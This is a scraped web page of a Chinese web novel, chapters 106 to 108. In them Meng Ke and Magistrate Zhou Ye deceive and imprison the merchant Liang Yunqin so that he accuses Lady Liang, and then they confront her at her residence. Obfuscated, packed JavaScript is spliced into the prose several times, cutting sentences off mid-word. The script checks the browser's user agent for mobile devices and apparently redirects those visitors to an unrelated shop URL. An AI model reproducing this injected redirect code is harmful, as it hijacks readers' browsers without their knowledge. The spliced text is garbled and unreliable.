d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当年，曾怀义和你处处防着我，可还是让我发现了。那么好的机会，我可能放过吗？” “伪造文书之类的事一向都是我在干，造一份很难吗？你不如猜一猜，跟案卷一起毁掉的，是真本还是抄本啊！” 梁夫人没说话，良久，轻笑道：“真有这个东西，你能忍到现在？” 梁云钦道：“你和孙老九一直想推我出去顶缸，我都没说出来，不过是因为你知道了更不会留我。可我现在已经落到你手上，也就不怕告诉你了。咱们就鱼死网破，谁不敢谁是孙子！” 他一说就滔滔不绝起来，“那时候你有曾怀义护着，我动不了你，可未必一辈子动不了你。知道你的把柄，不赶紧收一份藏着，还替你消灭不成？” “好，就算你手头真有这个东西，可你知道，你犯了个大错吗？”梁夫人从椅子上站了起来，“你要是直接进京告御状，也许还有用。可你却把希望寄托在小小一个县衙。” “没错，周冶是有身份，可他犯得着为了你，跟陈家翻脸，跟当年涉及此案的所有官员过不去吗？” “曾怀义的案子为何草草结了？义庄案他不也压下来了？你竟还指望他！霍家案曝出来，影响可不比义庄案小。他会把朝廷的脸面往地上踩？他是个多灵的人啊，可从来不会给自己的仕途找麻烦。” “你说说，你蠢不蠢？” 梁云钦被问得一愣，他还真没想到这一层。 周冶把义庄和黑石堂都掀了，孟珂让他去揭开霍家案，他也没多想，可这话听来确实在理。 他心里发虚，嘴上却不能输：“若真如此，那刘宝怎么还活着？曾怀义的案子真的结了？那义庄案的事，怎么还是泄露了出来，传开了去？” 梁云钦越说越觉得自己有理，“这位周大人，只怕不是你说的那样吧。咱俩，蠢的到底是谁，可不一定！” “你用不着在这儿跟我虚张声势，我也不需要同你费口舌。”梁夫人道，“反正你人已经在我手里了，要想活命，只有一条路，把手中的证据交出来。不然，看你走不走得出这地牢！” 梁云钦哼道：“你觉得我还能信你？” “信不信不重要，想活命，你只能一试！” 说着，她转头吩咐，“让他吃点苦头，好好体会一下，什么叫做求生不得求死不能！” 说罢，拂袖而去。 一行人走到地牢尽头，前方骤然开阔，是个四四方方的房间。 房间里灯火通明，奇的是里里外外竟一个守卫也没有，只坐着个女子。那女子听见有人出来，忙起身上前去迎。 而从里面走出的，却不是什么梁夫人，而是孟珂和五儿。 106. 玩笑 五儿也是流光阁选出之人，因极擅口技，能模仿男女老幼，甚至花鸟虫鱼之音，孟珂瞧她身形与自己相仿，选中她带在身边，方便当自己替身，没想到还有今日这般妙用。 暗牢中不点灯，既能让梁云钦在那无尽黑暗中饱受折磨，消解其意志，也让他看不真切，方便“梁夫人”审问。 孟珂一直怀疑，梁云钦和霍茹蕙之间不只是利益之争，当年霍茹蕙好像就格外厌恶梁云钦。她问了许莲生，得知梁云钦对霍茹蕙起过色心，做过些猥琐之事，让曾怀义出手救了。 以霍茹蕙的骄傲，有可能真看上那时正当盛年且颇为英武的曾怀义，但梁云钦那条好色又无能的狗腿子，就连他敢产生觊觎之心，都会让霍茹蕙觉得恶心。 他竟然还敢真的动作，霍茹蕙必定恨不能除之而后快。二人便这么结下了梁子。 “不是要梁云钦出面推动这霍家案，怎么倒把他关起来了？”雨歇往里面看了一眼，又看了看几人的乔装打扮，疑惑地问，“还搞这么复杂？” 孟珂笑道：“他这样奸滑的人，不到最后关头是不会交出保命东西的。就得用他的死对头来逼一下。” “可他现在想着横竖不会放过他，死也不交出手中证物，恶心下‘梁夫人’。”雨歇问，“就这么关下去，不是耽误时间吗？” 孟珂往上行的楼梯走去：“我本就没指望他就这么交出来。” “那小姐做这出戏又是为何？”雨歇几人也跟上。 孟珂在楼梯上顿住了脚步，扫了她一眼，继续向前走去：“证明有这个东西存在，他也的确手握这个东西，我这一步的目的，也就达到了！” 她和周冶研究案卷的时候，就发现有一点很是奇怪。曾怀义当初既铁了心要扫除霍家，甚至想出了强/奸/幼/女这种死罪，牵连进近亲，便没有任何一丝手软的可能，但后来却出现了一个证物——账本。 正是这个账本，把强/奸/案变成了逼良为娼和纵人/奸/女。 强/奸/幼/女和轮/奸都要处死，亲属/相/奸是绞刑，全都得死；而逼良为娼，只需杖刑一百，徒三年。 就是这个账本在曾怀义想做死的案子里，四两拨千斤地为那些人撬开了一线生机，即便后来在数罪并罚、从重处理之下，“首恶之徒”落了充军、流放。 这账本是哪里来的？谁出的主意？ 这东西既能被接受为证据，就不可能是临时伪造的，相关人定然知道它的存在。这些亲朋好友能牵涉其中的、原本就存在的账本……孟珂突然想到了一个东西，但只是猜测。 如今，梁云钦给了她验证所想的可能。 “那小姐的目的已经达到，准备再关多久？” “让他吃吃苦头！” 孟珂冷笑道，“让他交出关键证据、甚至出面指认，需要再推他一把，得让他积累足够的怨气、恨意，非鱼死网破不可！” 说话间，几人拐过几道弯，上到了一间密室。正是熹园的佛堂之后，供着无字牌位的那一间。 孟珂站住了脚，扫了那无字牌位一眼，又看向了脚下。 早在修整熹园，挖温泉池、造假山的时候，她便命人在这佛堂之下，挖了这别有洞天。 一边是密室，可藏人避祸；一边是暗牢，可关押审讯。而在其上，则外有佛堂镇着，内有英魂守着。 *** 霍茹蕙的寻人告示一贴，没几日就传遍了绥陵。 谁也没想到，当年神神秘秘的霍家案，竟然会有重新翻出来的一天。这一翻，那布满了老尘旧灰的事，被抖搂开了来。关于霍家案的种种说法，也不知被什么人扒拉了出来。 哪条街上都有那么几个闲得没事又好事的小年轻，听着有些年纪的人，讲起当年的捕风捉影，又再传扬开去。 而那种种说法，见风就发了酵，像一块小小面团，蒸出了一屉各不相同的馒头，个个膨胀得不像样子。 有人说，那霍家小姐之所以会被自家人给害了，是为了报她害死弟弟之仇。据说，那孩子生下之后便多次遇险，几次从鬼门关救回来，可最后还是在自家花园里的假山下被发现，彻底救不回来了。人是死了，但到底是孩子自己摔的，还是被人害死的，却莫衷一是。 有人说，有命理师打小就判了这霍茹蕙是灾星命，必克六亲。见她果然克死了亲弟弟，眼看就该克父母六亲。不知谁支了个招，说得让她借足七七四十九个人的阳气，方可镇住其天生所带的阴邪，破了那灾星之煞气。虽毁她一个，却可保全六亲。 那笃信鬼神的觉得，有些孩子就是天生妖孽，必须除之而后快，不然就是为祸人间，有大报应。即便霍家人真亲手害了她，也情有可原。若她真的没死，重新回来，也要把她这妖邪诛杀了，免得为祸乡里才是。 那不信的，自然觉得纯属无稽之谈，哪能因命理之说而对亲生骨肉下手，何况用的还是那样的手法。若真有玄妙，也是那霍家和涉案人等，起了坏心，做了恶事，才遭了报应，落到如此下场。 随着这些话传开，衙门官差去查访当年涉案诸人的族人故旧、街坊四邻，一说起当年的案子，人人都滔滔不绝，可一旦提起霍茹蕙可能的下落，当即如油锅落水，噼啪四溅。 有人积极支持，“这样的妖邪，就要挖地三尺找出来不可！” 有人奋力阻拦，“你们这是杀人在前，还要鞭尸在后？哪有把冤死的人，时隔这么些年再挖出来的？” “就算还活着，人姑娘遭了那么大的难，你们还要去把人找出来？就见不得人过几天安生日子，非把人逼死不可吗？” “人为什么远走他乡，不就是在这儿没活路？你们再找了去，事情闹起来，让她怎么过？丈夫儿女怎么看，婆家怎么看她？” …… 一连数日，四处查访的官差，有被吐口水的，有被泼洗脚水的，有被拿大扫把扫出去的，有被扔烂菜叶、臭鸡蛋的……所有能用的道具和咒骂都用上了。 走到哪儿都有一群小乞丐跟在屁股后面，唱着些乱七八糟埋汰人的小曲儿。 茶楼上，孟珂看着楼下官差查访过来，小乞丐们唱着小曲过去，抬眼看向对面的周冶：“我们用霍家案来盖过义庄案，她便用妖邪之说来混淆重点，阻挠官差查案。也算是异曲同工了。” 周冶也扫了一眼楼下，看着她道：“既如此，那我们就把被她挪开的视线，再拉回来！你这就画一幅霍茹蕙的画像，咱们重发寻人告示，以重金悬赏，让全城帮着提供线索！” 他笑道，“看是打嘴仗实惠，还是百金悬赏实惠。” 新的寻人告示一贴上去，果然当即吸引了众人注意，无不冲着那百金重金摩拳擦掌。所有人都看着那画像，猜度着霍茹蕙如今的模样，从脑海中细细翻找着可能的线索。 梁夫人在马车里，拿着一张孙嬷嬷命人悄悄揭下的寻人告示，手不由微微发抖——那个十三岁的自己，突然破空而来，重新站在了面前。 作画之人，显然对她的相貌了如指掌，连神韵都极其准确。 一晃经年，就连她自己也许久没看过那张脸，没记得那么分毫毕现。 “此人必是旧人。”梁夫人喃喃道。 “也未必吧。”孙嬷嬷道，“听说有些协助衙门探案的画师，仅凭描述，便可画出样貌。即便真是故人，也未必记得那么清楚了。” 梁夫人心中忐忑，笑道：“也是。” “夫人，该下车了。”孙嬷嬷掀开车帘道。 梁夫人却迟疑了一瞬。 当初入陈府之前，她便刻意改样子了，无论装扮、个性还是气质，都与从前大不相同，等闲还真认不出来。加上熟识她的人都是曾怀义一党，是以她才敢重回绥陵，大摇大摆地出入。 “夫人？”孙嬷嬷扶着帘子，又催道。 梁夫人这才起身下车，走在街上，觉得满街的人都在看着她的脸，似乎想要寻找她与那画像的痕迹。 “人能欺骗别人，却骗不了自己。” 楼上，一扇窗户开着一条缝隙，孟珂看着霍茹蕙的身影消失，回头看着周冶道，“她可以利用人心，我们也一样。大人办义庄案积攒的民心和信誉，正好可以派上用场了。” 不待吩咐，一旁的洗墨便接口道，“小的这就吩咐下去，让人提醒一下大伙儿，我们公子是什么样的官。” 说着，向周冶邀功地看了一眼，却撞上周冶使眼色。 他一时没反应过来，周冶只好道：“那还不下去？” “哦！这就下去，下去。”说着，洗墨忙给没眼色的红荔挤了挤眼睛，拉着她一起退下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999203|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 到门口，还给小二交代，若非里面的人唤，不要轻易打扰，这才冲红荔嘚瑟一下，满意地下去了。 这下，只剩了周冶和孟珂二人。 *** 知道他有话要说，孟珂抢先开了口：“这些日子，感谢公子……” “别——”周冶抬手一拦，“你这话一说就生分到家了。若时需要说这些客气话的关系，便不会出手做这些事。” 孟珂点点头：“是我的不是。” 周冶看了她一眼，霍家案真正掀开来后，她并没有兴奋或高兴，反而比平时更沉稳，更冷静。但他知道，越是这样，也越说明她心底其实更紧绷。在事情真正尘埃落定之前，她是没办法真正让自己放松的。 他有意想让她慢慢放松些，往好的方向想一些，别让这路走得太累，便问：“等这些事都结束，你想要做什么，过什么样的日子？” 他也确实想知道。 孟珂闻言抬眸看他，顿了一瞬，笑着摇头：“没想过。” “可以想一想了。”周冶道，“你此刻现想都行，到时候，反正没了束缚，想做什么都行。” 没了束缚？倒也没人束缚她，束缚她的人始终是她自己。不过，她还是如周冶所说，认真想了想，随即抬眼看他，反问道：“为什么一定要想做什么，不能什么都不做？” 周冶似是没想到这个思路，点点头，笑道：“这也行。什么都不做，也是一个选择。” 让他这么一说，孟珂不由接着想了下去：“我大概就想……懒下来，什么都不做，什么都不想。每日睡醒便吃，吃饱便躺，躺到天昏地暗、日月无光，躺成一个脑子都要废掉的傻子。” 说到后来，连自己都笑了。她自小便知光阴宝贵，日日学习，总要进益，从未想过自己竟然会有一刻，想要变成一个那样的自己——哪怕只是在脑中想想。 “那……你想在什么样的地方躺？”周冶却并未觉得当那样的傻子有什么问题，认真问，“在熹园，还是京中？想伴着这绥陵城的宁静山水，还是在京中热闹繁华，方便躺多了后寻欢作乐？” “山水很好，宁静也很好，不过，绥陵的冬天，”她顿住了，笑笑，“太……冷了些。” 周冶明白，是绥陵的冬天，带给她太多不好的记忆。 孟珂随口道：“我想……去一个没有冬天的地方，找个水边，要个花木扶疏的房子，每日晒着太阳，临水躺着，吃好多好多好吃的。” “那我知道一个地方适合你！”周冶兴奋道，“你往南曾走到多远？在南境之南，靠近骠国，有个地方叫彩岚，冬日里也温暖如春，日日阳光灿烂，有吃不完的果蔬，有热海奇观，有温泉，对你身体也好。对了，吃的也多酸辣之味，极开胃的！” “好，那我倒要去看看。”孟珂也起了玩笑的心思，看着他道，“不过，到时候我在那里沐浴阳光，大快朵颐的时候，公子你还在这里案牍劳形，会不会气煞了。” 周冶脚一翘，往后一躺，那懒散不羁味儿又出来了。 “案牍劳形的事，我就交给涤砚。冬日一到，”周冶看着她，“我就偷跑去找你。” 瞧孟珂抬眸看他，似乎在品着他这话的真假，他更意味深长又半开玩笑地道，“我帮你这么多，你欠下这一屁股的…..人情债，想甩了我，一走了之，赖账么？我可不答应。” “不赖，不赖！”孟珂笑道，别的不说，日日躺着，还能看着这张秀色可餐的脸，那便更是人间仙境了。 “可是......有你这么当官的吗？不怕御史参你？” “嗨，不行我就上书，直接请调到那儿去。正好我这不是立了功吗，就当是赏赐了。” 孟珂笑：“别人是犯错才贬谪边地，哪有人自己去要，还当成赏赐的？也不怕折了你周府的面子。” “我不想要的，便是在那金銮殿上，也是惩罚。”周冶看着她，目光陡然认真，“我想要的，便是陋巷茅屋，也是赏赐。” 孟珂对上他的目光，片刻，挪开了，笑道：“周大公子果然不俗！” “那便说定了！”周冶一副大势已定的样子，看着她，半开玩笑半认真地强调道，“到时候，你去那儿躺，我便去哪儿。” 她顿了顿，点了点头，也半开玩笑地道：“好。” 107. 貔貅 果然，义庄案一提，便如一粒粒石子入水，荡起一圈又一圈民心的涟漪。 不少人感佩周冶的公正，“周大人既然重查此案，定是这个案子有问题。” “周大人是站在老百姓一边的，定有冤情。” “这个案子，那是当官的领了功劳，可那涉案的数十人，死的死，数十个家庭，散的散。周大人不官官相护，还要来撤查，这是在保护我们啊！” 绥陵城大概从没这些日子这么民情激荡过，也没有这么割裂过，支持周冶重审翻案的，反对周冶扒皮鞭尸翻丑事的，各有拥趸。 而梁云钦这些日子在地牢里，也过着与他这些年完全割裂的日子，夜夜笙歌宴饮，成了没日没夜的挨饿受冻，心绪一开始还激荡，后来就连激荡的力气都没了。 他万万没想到，在衙门大牢里，因着熹园那位小姐的照顾，尚且过得去；等出来了，反而进了真正的苦牢。那“梁夫人”少有露面，但底下人却每日都来熬鹰，每每吊着他的精神，折磨得他神志涣散；等他要死不活，好不容易重新吊起点精神，便又开始新的一轮。 这日，好不容易又熬过一阵，梁云钦瘫在硬木板榻上，肚子饿得咕咕直响，在这没有一点声响的地牢里听起来格外响，又格外凄凉。 突然，在这咕咕声的间隙，他仿佛听见一阵极轻快的脚步声。 乍一听，他几乎以为是错觉——人的脚步声怎么能这样？但那声越来越近，听着也越来越明确。 可他饿得前胸贴后背，脑子也被熬得糊住了似的，根本无力多想，心道，爱谁谁，爱咋咋吧。 可那脚步声径直到了他这儿就停了，紧接着就听牢门上的锁链当啷一轻响，像是被人托着了，免得让人听见。 他这才费力地挪动那沉重的头颅，转头看去，正好见一个黑影推门走进来，抬手放在唇边，朝他“嘘”了一声，低声道：“我来救你的。” 是个女子。他顿时一个激灵，手脚并用地费力爬起来，看了看外面，警惕地问：“你是谁？为何要救我？” “小姐让我来的，出去再说。”那女子说着便来解开他手脚上的镣铐。 熹园的人？梁云钦一阵喜，是了，此时有这个可能，也有这个力量来救的，也就是熹园的小姐了。脱开锁链，他忙扑下床，跟黑衣人要去，但手脚却不听使唤，落地先摔了下去，咕咚一响。 黑衣人也顿在了原地。 他吓了一跳，僵在原地，仔细听了听，似乎没什么动静，这才又跟着黑衣人往外去。 地道的尽头骤然开阔，点着烛火，像是个房间。梁云钦正想着，那里的守卫可被放倒，余光就瞥见那烛火照亮的墙上，倏地有个黑影闪过。 “谁？” 黑衣女子一惊道。 梁云钦只听得这一声，便颈后一疼，晕了过去。 黑衣女子拉下面罩，转身往后，抱拳笑道：“姐姐好身法，要不是事先知道，我都察觉不到有人在此。” 雨歇拍了拍手，踢了踢地上的梁云钦，这才抬脸对红荔道：“你的身法也不赖！” 红荔吹亮了火折子，点亮墙上的火把，二人一起转向地道尽头。孟珂从那头走了过来。 “小姐，接下来怎么做？”雨歇问。 孟珂低头看着地上的梁云钦。他那原本馒头一样鼓的白胖面颊，已经塌了下去，皮肉一时无处附着，耷拉着，像极了沙皮狗。 她冷冷地道：“扔回邀月阁去，交给苏姒。” “这就扔回去了？他证据还没拿出来呢。”雨歇道，“我看他也熬不住了，再收拾几日，没准儿就拿出来了。” “扔回去，才好继续挤。”孟珂笑道，“他这样的人，外人挤的，哪里有他自己吐的干净？这好人坏人、恩人仇人，还有爱人，轮番上阵；利诱、威胁，软的硬的，手段使尽，任他是貔貅也得吐干净了！” “是！” 等孟珂转身而去，雨歇这才微微下蹲，又嫌弃地扇了扇风，朝外头大叫了一声，“来人！” 两个守卫从小房间快步跑过来。 雨歇捂着口鼻，朝地上抬了抬下巴：“抬出去！” *** 等再醒来的时候，梁云钦睁眼就看到苏姒那张焦急如焚的脸。 他一脸恍惚地看了看四周，笑道：“我竟然梦到回邀月阁了。也好，哪怕是梦里也好啊！温衾软榻，美人在侧，好酒好肉，永远不要醒就更好了！” “老爷！”苏姒见他表情恍惚，又喜又忧地唤道。 梁云钦却还是只顾傻笑。 苏姒抬手在他脸上轻轻拍了拍：“老爷！醒醒！” “我不要醒！” 见他还是目光涣散，苏姒手上陡然用力，“啪啪”地来回抽了两下，“老爷！你醒一醒！” 梁云钦被抽得一懵，两颊随即火辣辣地疼了起来。见周遭的一切都还在，他这才惊道：“我……我这不是在做梦！” 他挣扎着要坐起来，苏姒忙去扶。 他左右看着，喜极而泣，救命稻草似地抓着苏姒道：“我……真回来了？姒儿，我真的回来了？” “回来了！”苏姒心疼地看着他，点头笑道。 “我还以为，我再也回不来了！”梁云钦竟抓着苏姒，孩子似地哭了起来。 “老爷，你受苦了！”苏姒轻轻拍着他。 好不容易待他平复了下来，苏姒却又哭了：“老爷，这些日子你到底跑哪儿去了？你怎么成这样了？” 梁云钦顺着苏姒的目光，低头看了看自己。暗牢中一直不曾点灯，他好些日子没看过自己模样了，如今一看，发现自己那腆了多年的肚子小了下去。他摸了摸肚子，笑道：“饿的。” “饿……”苏姒埋入他肩头，泣不成声。 温香软玉入怀，哭声撞入心里，梁云钦当即觉得里里外外都一阵酸软，一时感怀，如今遭了难，陪着自己的竟是这个……自己从来只当玩物色的烟花女子，这些年在她身上的银子也算没白花。 苏姒在他肩头装着哭，头却躲得尽量远，口鼻埋在自己手臂上，免得被他身上的味儿给熏死。 梁云钦哭笑不得地道：“我才好了，你又哭上了，还有完没完了。” 苏姒忙借机直起身子，借着抬手拭泪，扭开脸偷偷吸了一口气，口中仍带哭腔道：“我还当再也看不见你了，差点……差点没去阴曹地府，找你去了！” 这一看才发现，她看着像是一夜都没睡，眼睛都熬红了。 “傻子！”梁云钦抬手要去摸她的脸，这一动，才觉着颈后被牵扯出一阵疼痛，也提醒了他，又被人袭击了，恼火地道，“这些人，怎么都喜欢打这儿！再打得断了！” 想起正事，他忙问道：“对了，我怎么回来了？我是怎么回来的？” “老爷你不知道？” 梁云钦摇头。 苏姒睁着一双大眼睛，茫然道：“昨儿个夜里，我都睡下了，听见外头敲门声，只响了两声就消失了，我还只当是有人在闹。还好唤人去开门看了看，结果就见老爷你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“这事你代不了。”梁云钦笑道，叹了口气，“再说，我如今哪里还能安心躺着？便是我想躺，别人也不会容我安心躺了。” 苏姒似懂非懂地点着头：“那……那你好歹也再歇一会。我灶上熬着药呢，我这就再去熬些粥。咱们把药喝了，肚子吃饱了再去。” 说着，沾了沾眼角的泪，起身下去了。 梁云钦抬手摸在多少年都没再瘪过的肚子上，劫后余生，再饱受折磨，如今再看着这房里的一切，听着火炉上咕嘟的水声，目光不由得贪恋了起来。 这日，邀月阁的人，看着一个瘦脱了相的人，从苏姒的房里出来，在众人疑惑的目光中，走出邀月阁大门，径直走到斜对面，将一张寻人告示揭了，径直往衙门去。 等衙门的登闻鼓再被敲响的时候，周冶顿时便明白了，孟珂将梁云钦放出去之时，不是弃他了，而是要再逼梁云钦一把。 难怪她那时笑道：“现在是只有证人，但马下就能有证据了。” 她是要让他自己主动站出来，指证梁夫人，交出证据。 “让他走到绝路，别无选择，再主动为她开路。”周冶笑道，“好手段！” 她不会把事情寄托在郑氏身上，也没单凭一个刘宝，更不会信任梁云钦，但她会把每个人可能的空间都要用到。 登闻鼓前，好些过路人都没认出梁云钦这个人人熟识的富商来。他垂下两只已经不是自己的胳膊，不自觉地抖着，喘着粗气道：“草民梁云钦，状告陈太守夫人梁氏！” 108. 婆母 衙门的人上思园传唤梁夫人，却连大门都没进得去。陈府下人推说夫人病了，卧床不起，无法去衙门。 “太守府好大的官威啊！”侍剑吃了闭门羹回来，气愤地道。 一句话说得周冶和孟珂互看了一眼。不约而同想起二人当初也是一个查案，一个阻拦的场景，没想到，短短数月，二人已是攻守同盟，不由都笑了。 侍剑见二人神色，忙摆手道：“我.....我没别的意思！” “变聪明了啊！”周冶起身拍了拍他肩膀，笑道，“没想到你也有孺子可教的一天！” 这一夸一损倒让侍剑不好意思了，笑也不是，不笑也不是。堂上的人都看笑了。 周冶转眸看向孟珂，一副恼火却又因为用得上他而得意、受用的样子：“果然还是要本公子亲自出马！” “早就传说陈大人要升任本州长史，这调令没准儿说话就到了。到时候，这陈府的门又更难进了。”他假装叹了口气道，“还不如今日去呢。” 孟珂起身，对着他一礼，笑道：“辛苦大人！这么麻烦的人，自然只有大人能搞定。” 周冶得意地一甩头：“走啦！” 孟珂也要出门，两人便一道出了门，先后上了马车。 却说思园的人，见县令带人亲至，这次不好再让人吃闭门羹，将周冶请进了正堂，但管家上来，仍拿一病不起的理由来搪塞。 孙嬷嬷随后也亲自出来，冲周冶行了礼，抱歉道：“大人，我家太守不在，夫人又卧病在床，招待不周，还望大人海涵。” “我又不是来做客的，”周冶看着她笑道，“谈什么招待啊。” 孙嬷嬷打了个哈哈，见他如此，也只得应道：“不过，那梁云钦空口白牙的，竟诬指我家夫人为那什么……霍家小姐，这不是滑天下之大稽么。若是个人上衙门攀诬，就要我家夫人去应，那还有安生日子吗？” 周冶嘴角噙笑，看着她，悠悠地端起茶盏，故意吊着她胃口，慢慢地品了几口，才回道：“这话呢，确实耸人听闻，我呢也不是那盲信之人。” 孙嬷嬷暗暗松了口气，却听他马上又道，“不过，我身为一县之父母官，如今既有人指证你家夫人，我自然也是要过问的。倒不是怕外人不满于我，而是怕影响你家大人的官声。别人不会说我一个县令畏惧顶头上司，只会说你家太守，仗势欺人啊！” 这顶帽子一扣下来，孙嬷嬷一时答不上来：“这……” 她正支吾间，听得几声轻嗽，有些微吃惊，但肉眼可见地顿时放松了下来。 梁夫人被丫头扶着，掀帘从后堂出来了。 “大人说的是！” 梁夫人一脸娇弱，声音也飘忽，“我方才昏睡在床，迷迷糊糊听说大人来了，忙起身更衣来见，还是迟了，还请大人见谅！” 说着，冲周冶行李。周冶忙还礼。 梁夫人道：“大人方才说的我都听见了。大人说的是。不管有无证据，既然已经指认到了我头上，我若不应，知道的说大人你是体恤病人，不知道的还要说是我家仗大人之势横行，你我官官相护呢。于大人你，于我家夫君，都无益。” “还是夫人明理！”周冶奉承道。 “加之，我家大人与大人你，本就熟识，以兄弟相称，便更难做了。”梁夫人顿了顿，轻叹一口气，“唉，我左右拼了这半条命，同大人你走这一趟就是了。” 这是以退为进呢，周冶看着她笑笑，却也不客气：“那便有劳夫人了，这就请吧。” 梁夫人和孙嬷嬷相视一眼，这周冶是一点不接招。 她话已出口，便不好食言。孙嬷嬷见此，忙对一旁的丫头使着眼色道：“夫人病弱，受不得风，你去将大人年前特意给夫人做的那件狐裘找出来。” 又对周冶道，“还请大人稍候。” 丫头去找了半日，又回来问了，折回去。 耽误了许多功夫，梁夫人也还没挪动一步。 侍剑都看出来了，低声在耳边道：“公子，她们就是拖时间，只怕是另有阴谋。” 周冶压低声音，笑道：“连你都能看出来，她们也不算高明。不过，她们等的人，只怕是等不来了。你瞧，那梁夫人尚且坐得住，孙嬷嬷却已经伸脖子往外看多回了，却不是在等那丫头。” “等人？等谁？”侍剑奇道。 他一看，果然，见梁夫人扯了扯孙嬷嬷的裙子，她才收住了又想往外看的冲动，笑道：“大人见谅，这些小蹄子，一没人盯着，做事就是惫懒，得好好收拾收拾了。” “无妨！”周冶笑盈盈地看着二人，仍气定神闲地道，“夫人的身子重要，真要受了风，有个好歹，我怎么同你家大人交代？就是……” 看周冶突然转而为难的样子，梁夫人道：“大人有什么话，不妨直言。” “那我就说了。”周冶笑道，“不瞒嫂夫人，我这......肚子有些饿了。” 梁夫人一愣，一时竟不知他是不是在开玩笑。 “是老奴的疏忽！是我们招待不周！”孙嬷嬷忙给左右吩咐道，“还不赶快端上点心。” 点心上来，周冶还真吃上了。孙嬷嬷和梁夫人都有些摸不着他路数了，这人怎么一点不着急，完全不催促，莫不是有什么阴谋。 见侍剑也奇怪地看着自己，周冶拿起一块递给他：“你也吃点儿？” 正说着，他的目光越过了堂上众人，往院门口看去。 众人顺着他的视线看过去，见是一个小厮快步跑了进来。梁夫人顿时喜上眉梢，忙又蹙起眉来，压了下去。 周冶认得，那正是陈万霆的贴身小厮。 *** “大人可回来了？”孙嬷嬷忙迎上去道，“夫人今日都下不来床……” “大人回不来了！”小厮在门口站住，恭敬道。 “什么？！”孙嬷嬷眼神顿时慌乱，看向梁夫人。 梁夫人倒是坐得住，轻轻咳嗽了几声，提醒她，才问道：“怎么回事？” 小厮道：“禀夫人，大人今日突然接了公函，即刻便启程上京，说是要耽搁几日，一时不能回了。特地嘱咐小的回来，与夫人说一声。请夫人好生将养，让府里上上下下好好伺候，不得让夫人烦心。” 梁夫人脸上仍稳着，目光却犯了疑惑，看向周冶。 周冶“哟”了一声，笑道：“还真是不巧了！还以为今日能见见震言兄呢。” 有这么不巧的事？梁夫人看着他，心道，难道是他在背后搞鬼？京中能有什么事突然召去？ 周冶的目光不闪不避，迎着她的目光，调笑道：“这一听说夫君几日不归，嫂夫人就急得这样了！嫂夫人跟震言兄还真是如胶似漆，片刻不得分呢！不过，情动伤身，嫂夫人身子本就不好了，还是要平和心绪，好自珍重啊！” 他顿了顿，语气更嘲讽了，“毕竟，你们只是小别而已。嫂夫人说是不？” 梁夫人轻笑一声，也端起了嫂夫人的款儿，皮笑肉不笑地道：“元亨说笑了！” 又道，“不过，也不知怎的。梁云钦突地来攀诬，我又正巧病了，我家夫君偏巧又走了！这一个个的，怎么全都跟商量好了似的！” “没错！”周冶故意顿了顿，笑道，“还真……像是商量好的！” 说着，二人各怀鬼胎地一起笑了起来。 “不过，我倒是听说，贵府即将有大喜，兄长今日上京，没准儿正为此事。”周冶道，“周某今日就提前恭喜嫂夫人了。” “恭喜？”梁夫人疑惑道，“不知何喜之有？” “那自然是兄长即将升迁，嫂夫人将成为长史夫人。”周冶道，“难道......嫂夫人竟没听兄长提过？这明州官场早传开了，你们夫妻情谊甚笃，怎会......” 他突然住了口，假作尴尬地笑道，“兄长他行事向来谨慎，想是......也想给嫂夫人惊喜也说不定。” 梁夫人吃了好大一惊，她倒一丁点消息都没听说，也不知周冶是真得了这消息，还是故意逗她。可他话中对她和陈万霆夫妻关系的阴阳，却是分明得不能再分明了。她难堪之余，只得装起谦逊，害羞一笑道：“元亨还是不要拿你兄长打趣，没影的事，是祸是福犹未可知呢。” “嫂夫人如此稳重，实在是震言兄的服气！”周冶拱手，语气夸张地奉承道，“震言兄年纪轻轻就为一州长史，如此有为，前途实在不可限量！以后周某也要仰仗兄长呢。” 说着，他话音一转，假装压低声音道，“也正是因为在兄长这个升任的当口，才更不可有闲话传出，免得坏了府上的好事！” 梁夫人脑子一突，不情愿地赔笑道：“那倒是元亨你有心了！” 小丫头也已经将狐裘取来，她又往院外看了一眼，才转头看着周冶，不甘心地道，“看来，我今日不去一趟，是不成了！孙嬷嬷，扶我起来！” 说着，她让人扶着，缓慢而又吃力地站了起来，冲周冶道：“大人，请吧。” 正这时，又有下人跑了进来，远远地就大声喊道：“夫人，大夫人到了！夫人，大夫人的马车到门口了。” *** “婆母！” 梁夫人和孙嬷嬷偷偷互看了一眼——在得知刘宝上告的第一时间，她就着人去请婆母柯大夫人来了。 她隐去唇角的一弯笑意，假装惊得一顿，“婆母她怎么突然来了！” 说着，转头看着周冶，假装不好意思又为难地道，“婆母来，也不先派人说一声。倒像是我故意的似的，元亨你，不会误会吧？” 周冶哈哈一笑：“还真......像是故意的！” 两下里假笑一通。 梁夫人抱憾道：“婆母已到，还请元亨在此稍候，容我前去迎接！” “无碍！夫人自便！”周冶大手一挥道，“那么久都等了，也不差这点时候，我在此恭候便是，只是……” 他顿了顿，促狭地笑道，“一直听闻梁夫人与婆母的感情非比寻常，今日一见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999205|193939||http|test|mini|href|location''.split(''|''),0,{})); () { 